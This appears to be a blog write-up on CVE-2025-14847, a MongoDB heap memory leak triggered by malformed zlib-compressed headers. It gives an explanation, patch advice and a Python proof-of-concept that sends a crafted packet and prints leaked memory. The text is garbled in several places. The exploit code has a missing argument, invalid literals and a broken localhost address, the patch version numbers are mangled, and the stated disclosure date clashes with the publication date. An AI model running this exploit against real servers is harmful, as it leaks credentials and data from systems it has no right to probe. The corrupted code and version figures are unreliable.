MongoDB is one of the most widely deployed NoSQL databases in the world, used by enterprises and startups alike for its flexibility and speed. But even the most robust software can hide dangerous bugs. On March 2025, the security world was alerted about a newly identified vulnerability, CVE-2025-14847, which could be exploited by unauthenticated users to leak uninitialized memory from the database’s server heap. This potentially exposes sensitive information—including credentials and confidential data—in affected MongoDB versions.

In this post, you’ll get an exclusive, beginner-friendly deep dive into how CVE-2025-14847 works, how to exploit it, and how you can protect your infrastructure.

What Exactly is CVE-2025-14847?

At its core, this vulnerability involves Zlib compressed protocol headers. Zlib is a popular compression library MongoDB uses to reduce protocol traffic size. In certain conditions, MongoDB mishandles mismatching length fields in these compressed protocol headers. This may lead the server to read data from uninitialized regions of its heap and return it to the connecting client—*even if that client is unauthenticated*.

Impact:
Attackers could read fragments of memory from the MongoDB server process, possibly extracting passwords, authentication tokens, or parts of database records that should not be exposed.

MongoDB Server v3.6: versions >= 3.6.

If you are running any MongoDB version in these ranges, your server may be exposed. Updating to the latest release is critical.

Let’s break this down into simple steps.

1. MongoDB Protocol: Clients communicate with MongoDB using a binary protocol. Modern versions can use *Zlib compression* to save bandwidth.
2. Length Mismatch: Each Zlib-compressed packet includes some *length fields*: one declares the intended length, and the actual packet body may not match.
3. Uninitialized Read: When the length fields don’t match, MongoDB can end up copying unexpected extra bytes from memory into the outgoing response.
4. Unauthenticated Access: The server often exposes this behavior before authentication—meaning anyone on the network can try to exploit it.

Proof of Concept: Exploiting CVE-2025-14847

Here’s a minimal Python snippet to simulate an exploitation attempt. This sends a fake MongoDB message with a carefully crafted Zlib-compressed header:

import socket
import zlib
import struct

def create_exploit_packet():
    # Normal MongoDB MsgHeader: [messageLength, requestID, responseTo, opCode]
    msg_header = struct.pack("<iiii", 41, 1, , 2012)
    # Fake "Uncompressed Size" (big!), Compressed Size: only 1 byte
    uncompressed_size = struct.pack("<i", x100)
    zlib_payload = b"x\x9c" + b"A" * 1  # Intentionally incorrect/compressed size
    # Compose the compressed message body
    body = uncompressed_size + zlib_payload
    # Final message
    return msg_header + body

with socket.create_connection(('127...1', 27017)) as s:
    s.sendall(create_exploit_packet())
    leaked = s.recv(4096)
    print("Leaked data:", leaked)

> Warning: This only works if your MongoDB server listens for remote connections and Zlib protocol is enabled.
> Educational use only. Never attack systems without explicit permission.

What much of the response will actually contain depends on the OS and the server’s memory layout. But it’s possible to see fragments of uninitialized or leaked server memory.

Even without a valid username or password, unauthenticated attackers can leak server memory.

- If confidential data like plaintext passwords, secrets, or sensitive document fragments happen to be in memory adjacent to where the buggy read occurs, these may be disclosed to the attacker.
- In shared-hosting environments or cloud deployments, a single misconfigured firewall could expose your entire dataset.

Severity: While this vulnerability does *not* give remote code execution, it is dangerous because of its information leak potential. It’s similar in logic to the infamous Heartbleed bug, which shook the internet in 2014.

Patch Now:

- Upgrade to MongoDB v7..28, v8..17, v8.2.3, v6..27, v5..32, v4.4.30 or later.
- See the official advisory for your version.

Disable Compression (if possible):

- If you don’t need Zlib compression, consider turning it off in your config (net.compression.compressors).

More References

- MongoDB Security Advisories
- Zlib Manual
- Common Vulnerabilities & Exposures - CVE-2025-14847 *(link may become active when MITRE details are released)*

Conclusion

CVE-2025-14847 is a low-complexity, unauthenticated memory leak in MongoDB. While it’s not as devastating as full remote code execution, the possibility of leaking in-memory secrets makes it a critical bug for anyone running a production MongoDB cluster.
If you've not patched your systems yet, do so today. Stay aware, stay secure!

*Let us know if this helped you, or if you catch anything strange in your logs after upgrading!*

Timeline

Published on: 12/19/2025 11:00:22 UTC
Last modified on: 01/13/2026 22:24:20 UTC